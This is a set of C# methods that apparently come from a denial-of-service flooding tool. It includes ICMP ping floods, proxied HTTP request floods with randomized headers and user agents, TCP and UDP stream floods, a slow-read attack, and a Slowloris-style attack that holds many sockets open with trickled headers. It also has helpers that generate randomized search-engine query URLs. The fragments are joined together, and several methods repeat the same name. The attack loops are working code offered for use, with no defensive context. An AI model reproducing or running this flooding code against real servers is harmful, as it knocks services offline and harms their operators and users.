public string GetRandomElement(string query)
{
// cvid=CDF2BB1B133A4284A238464D3D8A62FA
var randomCvidQueryParameter = $"{RandomizerHq.RandomString(30)}";
return(String.Format(
FormattedUrl,
query, randomCvidQueryParameter
));
}
public string GetRandomElement(string query)
{
// _ylt=A0LEVxpsGVZaw8UAKR9oCWVH
var randomYltQueryParameter = $"{RandomizerHq.RandomString(24)}";
// _ylc=X1MDMTE5NzgwMzg4MARfcgMyBGZyAwRncHJpZAN0alVrSW5hWFJ1ZTZ2VFhJNS45ek1BBG5fcnNsdAMwBG5fc3VnZwMxMARvcmlnaW4Dc2VhcmNoLmFvbC5jb20EcG9zAzAEcHFzdHIDBHBxc3RybAMEcXN0cmwDNgRxdWVyeQNzYWxvbngEdF9zdG1wAzE1MTU1OTIwNDk
var randomYlcQueryParameter = $"{RandomizerHq.RandomString(203)}";
return(String.Format(
FormattedUrl,
query, randomYltQueryParameter, randomYlcQueryParameter
));
}
public string GetRandomElement(string query)
{
// rsv_pq=aac84da500005970
var randomRsvPqQueryParameter = $"{RandomizerHq.RandomString(15)}";
// rsv_t=864eH5GApbqeR1DWOkIjV2XYflzhX2HNY%2BZXrsGxZGfQ7AJXZbDb7Rbv7EE
var randomRsvTQueryParameter = $"{RandomizerHq.RandomString(55)}";
return(String.Format(
FormattedUrl,
query, randomRsvPqQueryParameter, randomRsvTQueryParameter
));
}
public string GetRandomElement(string query)
{
// _ylt=A2KLfSO_EVZaVAMAcm5DDWVH
var randomYltQueryParameter = $"{RandomizerHq.RandomString(7)}_{RandomizerHq.RandomString(15)}";
// _ylc=X1MDMTE5NzgwNDg2NwRfcgMyBGZyAwRncHJpZANQS2RKMDZWU1N4S2Mybk4yNzJSa0RBBG5fcnNsdAMwBG5fc3VnZwM5BG9yaWdpbgNzZWFyY2gueWFob28uY29tBHBvcwMwBHBxc3RyAwRwcXN0cmwDBHFzdHJsAzYEcXVlcnkDc2Fsb254BHRfc3RtcAMxNTE1NTkwMDk3
var randomYlcQueryParameter = $"{RandomizerHq.RandomString(204)}";
return(String.Format(
FormattedUrl,
query, randomYltQueryParameter, randomYlcQueryParameter
));
}
public byte[] WithFluentHeaderBuilder()
{
return(new FluentHeaderBuilder()
.AddMethodWithConditionalExtraPath($"{subsite}", method, RandomizerHq.RandomString(), subsite_random)
.Add(HttpRequestHeader.Host, host)
.Add(HttpRequestHeader.CacheControl, "no-cache")
.Add(HttpRequestHeader.UserAgent, RandomizerHq.RandomUserAgent())
.Add(HttpRequestHeader.Accept, "*/*")
.AddConditional(HttpRequestHeader.KeepAlive, keep_alive, keep_alive > 0)
.AddConditional(HttpRequestHeader.Connection, "keep-alive", keep_alive > 0)
//.Add(HttpRequestHeader.ContentLength, 42)
.AddConditional(HttpRequestHeader.AcceptEncoding, "gzip,deflate", gzip)
.BuildAsByteArray());
}
public string GetRandomElement(string query)
{
var value = googleDomainExtensionCircularList.Value;
googleDomainExtensionCircularList.Next();
// rlz=1C1GGRV_enRO754RO754
var randomRlzQueryParameter = $"{RandomizerHq.RandomString(7)}_{RandomizerHq.RandomString(12)}";
return(String.Format(
FormattedUrl,
query, GoogleDomainExtensions[value], randomRlzQueryParameter
));
}
//while working away
protected override void OnDoWorkEvent(object sender, DoWorkEventArgs e)
{
while (State.IsFlooding)
{
if (Settings.UseRandomMessage)
{
bytesToSend = RandomizerHq.RandomByteArray(65500);
}
else
{
bytesToSend = new Byte[0];
}
State.Status = RequestStatus.Ready;
for (int i = 0; i < Settings.SocketsPerThread && State.IsFlooding; i++)
{
State.Status = RequestStatus.Connecting;
try
{
//send the data with a timeout value of 10ms
pingSender.SendAsync(Settings.Ip, 10, bytesToSend, pingOptions);
State.Requested++;
}
catch (Exception)
{
State.Failed++;
}
//dispose of the pingSender because why do WE need to see the replies ;)
try
{
pingSender.SendAsyncCancel();
pingSender.Dispose();
}
catch { }
State.Status = RequestStatus.Completed;
}
if (State.IsFlooding)
{
System.Threading.Thread.Sleep(Settings.Delay);
}
State.Status = RequestStatus.Ready;
}
}
public byte[] WithoutFluentHeaderBuilder()
{
string header = String.Format(
"{0} {1}{2} HTTP/1.1{7}Host: {3}{7}Cache-Control: no-cache{7}User-Agent: {4}{7}Accept: */*{7}{5}{6}{7}",
method.Method,
subsite,
(subsite_random ? RandomizerHq.RandomString() : ""),
host,
RandomizerHq.RandomUserAgent(),
(gzip ? "Accept-Encoding: gzip, deflate\r\n" : ""),
(keep_alive > 0 ? String.Format("Keep-Alive: {0}\r\nConnection: keep-alive\r\n", keep_alive) : ""),
"\r\n"
);
return(Encoding.ASCII.GetBytes(header));
}
public string GetRandomElement(string query)
{
// msid=1515590448.92777.22891.11544
var randomNumbers = new int[] {
RandomizerHq.RandomInt(10000, 99999),
RandomizerHq.RandomInt(10000, 99999),
RandomizerHq.RandomInt(10000, 99999),
RandomizerHq.RandomInt(10000, 99999),
RandomizerHq.RandomInt(10000, 99999),
};
var randomMsidQueryParameter = $"{randomNumbers[0]}{randomNumbers[1]}.{randomNumbers[2]}.{randomNumbers[3]}.{randomNumbers[4]}";
// lr=105364
var randomLrTQueryParameter = $"{RandomizerHq.RandomInt(100000, 999999)}";
return(String.Format(
FormattedUrl,
query, randomMsidQueryParameter, randomLrTQueryParameter
));
}
protected override void OnDoWorkEvent(object sender, DoWorkEventArgs e)
{
try
{
IPEndPoint endPoint = new IPEndPoint(IPAddress.Parse(Settings.Ip), Settings.Port);
while (State.IsFlooding)
{
State.Status = RequestStatus.Ready; // SET STATE TO READY //
Clock.Restart();
byte[] recvBuf = new byte[128];
State.Status = RequestStatus.Aquiring; // SET STATE TO AQUIRING //
using (ISocket socket = SocketFactory.Instance.GetSocket(endPoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp, Settings.ProxyConnectionType))
{
this.CurrentProxySocket = socket as ProxySocket;
socket.NoDelay = true;
State.Status = RequestStatus.Connecting; // SET STATE TO CONNECTING //
try
{
socket.WrappedConnect(endPoint);
}
catch (Exception)
{
goto _continue;
}
byte[] headerBuffer = RandomizerHq.RandomHttpHeader(
Settings.HttpRequestMethod,
Settings.UrlPath,
Settings.Host,
Settings.UseRandomPath,
Settings.AllowGzip
);
socket.Blocking = Settings.WaitReply;
State.Status = RequestStatus.Requesting; // SET STATE TO REQUESTING //
try
{
socket.Send(headerBuffer, SocketFlags.None);
// SET STATE TO DOWNLOADING // REQUESTED++
State.Status = RequestStatus.Downloading;
State.Requested++;
if (Settings.WaitReply)
{
socket.ReceiveTimeout = (int)Settings.Timeout.TotalMilliseconds;
socket.Receive(recvBuf, recvBuf.Length, SocketFlags.None);
}
}
catch (SocketException)
{
goto _continue;
}
}
// SET STATE TO COMPLETED // DOWNLOADED++
State.Status = RequestStatus.Completed;
State.Downloaded++;
State.TotalElepsedTime += Clock.Elapsed;
timepoll.Stop();
timepoll.Start();
_continue:
System.Threading.Thread.Sleep(Settings.Delay);
}
}
// Analysis disable once EmptyGeneralCatchClause
catch (Exception ex)
{
Logger.Log.Error(ex.Message, ex);
}
finally
{
timepoll.Stop();
State.Status = RequestStatus.Ready;
State.IsFlooding = false;
}
}
protected override void OnDoWorkEvent(object sender, DoWorkEventArgs e)
{
try
{
IPEndPoint endPoint = new IPEndPoint(IPAddress.Parse(Settings.Ip), Settings.Port);
SocketType socketType = SocketType.Unknown;
ProtocolType protocolType = ProtocolType.Unknown;
if (Settings.Protocol == AttackMethod.TCP)
{
socketType = SocketType.Stream;
protocolType = ProtocolType.Tcp;
}
else
{
socketType = SocketType.Dgram;
protocolType = ProtocolType.Udp;
}
while (State.IsFlooding)
{
State.Status = RequestStatus.Ready; // SET STATE TO READY //
using (ISocket socket = SocketFactory.Instance.GetSocket(endPoint.AddressFamily, socketType, protocolType, Settings.ProxyConnectionType))
{
socket.NoDelay = true;
State.Status = RequestStatus.Connecting; // SET STATE TO CONNECTING //
if (Settings.Protocol == AttackMethod.TCP)
{
try
{
socket.WrappedConnect(endPoint);
}
catch
{
continue;
}
}
socket.Blocking = Settings.WaitReply;
State.Status = RequestStatus.Requesting; // SET STATE TO REQUESTING //
try
{
while (State.IsFlooding)
{
State.Requested++;
byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Settings.StreamData, (Settings.UseRandomMessage ? RandomizerHq.RandomString() : "")));
if (Settings.Protocol == AttackMethod.TCP)
{
socket.Send(buf);
}
else
{
socket.SendTo(buf, SocketFlags.None, endPoint);
}
System.Threading.Thread.Sleep(Settings.Delay);
}
}
catch { State.Failed++; }
}
}
}
// Analysis disable once EmptyGeneralCatchClause
catch { }
finally
{
State.Status = RequestStatus.Ready;
State.IsFlooding = false;
}
}
protected override void OnDoWorkEvent(object sender, DoWorkEventArgs e)
{
const int bufferSize = 16;
const int minimalContentLength = 16384; // set minimal content-length to 16KB
try
{
byte[] buffer = new byte[bufferSize];
string redirect = "";
DateTime stop = DateTime.UtcNow;
IPEndPoint endPoint = new IPEndPoint(IPAddress.Parse(Settings.Ip), Settings.Port);
State.Status = RequestStatus.Ready;
while (State.IsFlooding)
{
stop = DateTime.UtcNow + Settings.Timeout;
State.Status = RequestStatus.Connecting; // SET STATE TO CONNECTING //
// forget about slow! .. we have enough saveguards in place!
while (State.IsFlooding && State.IsDelayed && DateTime.UtcNow < stop)
{
ISocket socket = SocketFactory.Instance.GetSocket(endPoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp, Settings.ProxyConnectionType);
socket.ReceiveTimeout = (int)Settings.Timeout.TotalMilliseconds;
socket.ReceiveBufferSize = bufferSize;
try
{
socket.WrappedConnect(endPoint);
socket.Blocking = Settings.WaitReply; // beware of shitstorm of 10035 - 10037 errors o.O
byte[] sbuf = RandomizerHq.RandomHttpHeader(HttpMethod.Get, Settings.UrlPath, Settings.Host, Settings.UseRandomPath, Settings.AllowGzip, 300);
socket.Send(sbuf);
}
catch { }
if (socket.Connected)
{
bool keeps = !Settings.WaitReply;
if (Settings.WaitReply)
{
do
{
// some damn fail checks (and resolving dynamic redirects -.-)
if (redirect != "")
{
if (!socket.Connected)
{
socket = SocketFactory.Instance.GetSocket(endPoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp, Settings.ProxyConnectionType);
socket.ReceiveTimeout = (int)Settings.Timeout.TotalMilliseconds;
socket.ReceiveBufferSize = bufferSize;
socket.WrappedConnect(endPoint);
}
byte[] sbuf = RandomizerHq.RandomHttpHeader(HttpMethod.Get, redirect, Settings.Host, false, Settings.AllowGzip, 300);
socket.Send(sbuf);
redirect = "";
}
keeps = false;
try
{
string header = "";
while (!header.Contains(Environment.NewLine + Environment.NewLine) && (socket.Receive(buffer) >= bufferSize))
{
header += Encoding.ASCII.GetString(buffer);
}
string[] sp = header.Split(new char[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries);
for (int i = (sp.Length - 1); State.IsFlooding && i >= 0; i--)
{
string[] tsp = sp[i].Split(new char[] { ':' }, 2, StringSplitOptions.RemoveEmptyEntries);
if (tsp.Length != 2)
{
continue;
}
tsp[0] = tsp[0].Trim();
tsp[1] = tsp[1].Trim();
if (tsp[0] == "Location")
{ // parse and follow the redirect
redirect = tsp[1];
if (!redirect.StartsWith("/"))
{
try { redirect = new Uri(redirect).PathAndQuery; }
catch { redirect = ""; }
}
break;
}
else if (tsp[0] == "Content-Length")
{ // checking if the content-length is long enough to work with this!
int sl = 0;
if (int.TryParse(tsp[1], out sl) && sl >= minimalContentLength)
{
keeps = true;
break;
}
}
else if (tsp[0] == "Transfer-Encoding" && tsp[1].ToLowerInvariant() == "chunked")
{ //well, what doo?
keeps = true;
break;
}
}
}
catch
{ }
} while (redirect != "" && DateTime.UtcNow < stop);
if (!keeps)
{
State.Failed++;
}
}
if (keeps)
{
socket.Blocking = true; // we rely on this in the dl-loop!
socketsList.Insert(0, socket);
State.Requested++;
}
}
if (socketsList.Count >= Settings.SocketsPerThread)
{
State.IsDelayed = false;
}
else
{
System.Threading.Thread.Sleep(Settings.Delay);
}
}
State.Status = RequestStatus.Downloading;
for (int i = (socketsList.Count - 1); State.IsFlooding && i >= 0; i--)
{ // keep the sockets alive
try
{
// here's the downfall: if the server at one point decides to just discard the socket
// and not close / reset the connection we are stuck with a half-closed connection
// testing for it doesn't work, because the server than resets the connection in order
// to respond to the new request ... so we have to rely on the connection timeout!
if (!socketsList[i].Connected || (socketsList[i].Receive(buffer) < bufferSize))
{
socketsList.RemoveAt(i);
State.Failed++;
State.Requested--; // the "requested" number in the stats shows the actual open sockets
}
else
{
State.Downloaded++;
}
}
catch
{
socketsList.RemoveAt(i);
State.Failed++;
State.Requested--;
}
}
State.Status = RequestStatus.Completed;
State.IsDelayed = (socketsList.Count < Settings.SocketsPerThread);
if (!State.IsDelayed)
{
System.Threading.Thread.Sleep(Settings.Timeout);
}
}
}
catch
{
State.Status = RequestStatus.Failed;
}
finally
{
State.IsFlooding = false;
// not so sure about the graceful shutdown ... but why not?
for (int i = (socketsList.Count - 1); i >= 0; i--)
{
try
{
socketsList[i].Close();
}
catch { }
}
socketsList.Clear();
State.Status = RequestStatus.Ready;
State.IsDelayed = true;
}
}
protected override void OnDoWorkEvent(object sender, DoWorkEventArgs e)
{
try
{
// header set-up
byte[] headerBuffer = new FluentHeaderBuilder()
.AddMethod(Settings.UrlPath, Settings.HttpRequestMethod)
.Add(HttpRequestHeader.Host, Settings.Host)
.Add(HttpRequestHeader.UserAgent, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)")
.Add(HttpRequestHeader.KeepAlive, 300)
.Add(HttpRequestHeader.Connection, "keep-alive")
.Add(HttpRequestHeader.ContentLength, 42)
.AddConditional(HttpRequestHeader.AcceptEncoding, "gzip,deflate", Settings.AllowGzip)
.BuildAsByteArray();
byte[] xHeaderBuffer = new FluentHeaderBuilder()
.AddCustom("X-a", "b")
.BuildAsByteArray();
DateTime stop = DateTime.UtcNow;
IPEndPoint endPoint = new IPEndPoint(IPAddress.Parse(Settings.Ip), Settings.Port);
State.Status = RequestStatus.Ready;
while (State.IsFlooding)
{
stop = DateTime.UtcNow + Settings.Timeout;
State.Status = RequestStatus.Connecting; // SET STATE TO CONNECTING //
// we have to do this really slow
while (State.IsFlooding && State.IsDelayed && DateTime.UtcNow < stop)
{
if (Settings.UseRandomPath == true)
{
headerBuffer = new FluentHeaderBuilder()
.AddMethod($"{Settings.UrlPath}{RandomizerHq.RandomString()}", Settings.HttpRequestMethod)
.Add(HttpRequestHeader.Host, Settings.Host)
.Add(HttpRequestHeader.UserAgent, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)")
.Add(HttpRequestHeader.KeepAlive, 300)
.Add(HttpRequestHeader.Connection, "keep-alive")
.Add(HttpRequestHeader.ContentLength, 42)
.AddConditional(HttpRequestHeader.AcceptEncoding, "gzip,deflate", Settings.AllowGzip)
.BuildAsByteArray();
}
ISocket socket = SocketFactory.Instance.GetSocket(endPoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp, Settings.ProxyConnectionType);
try
{
socket.WrappedConnect(endPoint);
socket.NoDelay = true;
socket.Blocking = false;
socket.Send(headerBuffer);
}
catch
{ }
if (socket.Connected)
{
socketsList.Add(socket);
State.Requested++;
}
State.IsDelayed = (socketsList.Count < Settings.SocketsPerThread);
if (State.IsFlooding && State.IsDelayed)
{
System.Threading.Thread.Sleep(Settings.Delay);
}
}
State.Status = RequestStatus.Requesting;
if (Settings.UseRandomCommands)
{
xHeaderBuffer = new FluentHeaderBuilder()
.AddCustom("X-a", $"b{RandomizerHq.RandomString()}")
.BuildAsByteArray();
}
// keep the sockets alive
for (int i = (socketsList.Count - 1); State.IsFlooding && i >= 0; i--)
{
try
{
if (!socketsList[i].Connected || (socketsList[i].Send(xHeaderBuffer) <= 0))
{
socketsList.RemoveAt(i);
State.Failed++;
State.Requested--; // the "requested" number in the stats shows the actual open sockets
}
else
{
State.Downloaded++; // this number is actually BS .. but we wanna see sth happen :D
}
}
catch
{
socketsList.RemoveAt(i);
State.Failed++;
State.Requested--;
}
}
State.Status = RequestStatus.Completed;
State.IsDelayed = (socketsList.Count < Settings.SocketsPerThread);
if (!State.IsDelayed)
{
System.Threading.Thread.Sleep(Settings.Timeout);
}
}
}
catch
{
State.Status = RequestStatus.Failed;
}
finally
{
State.IsFlooding = false;
// not so sure about the graceful shutdown ... but why not?
for (int i = (socketsList.Count - 1); i >= 0; i--)
{
try
{
socketsList[i].Close();
}
catch { }
}
socketsList.Clear();
State.Status = RequestStatus.Ready;
State.IsDelayed = true;
}
}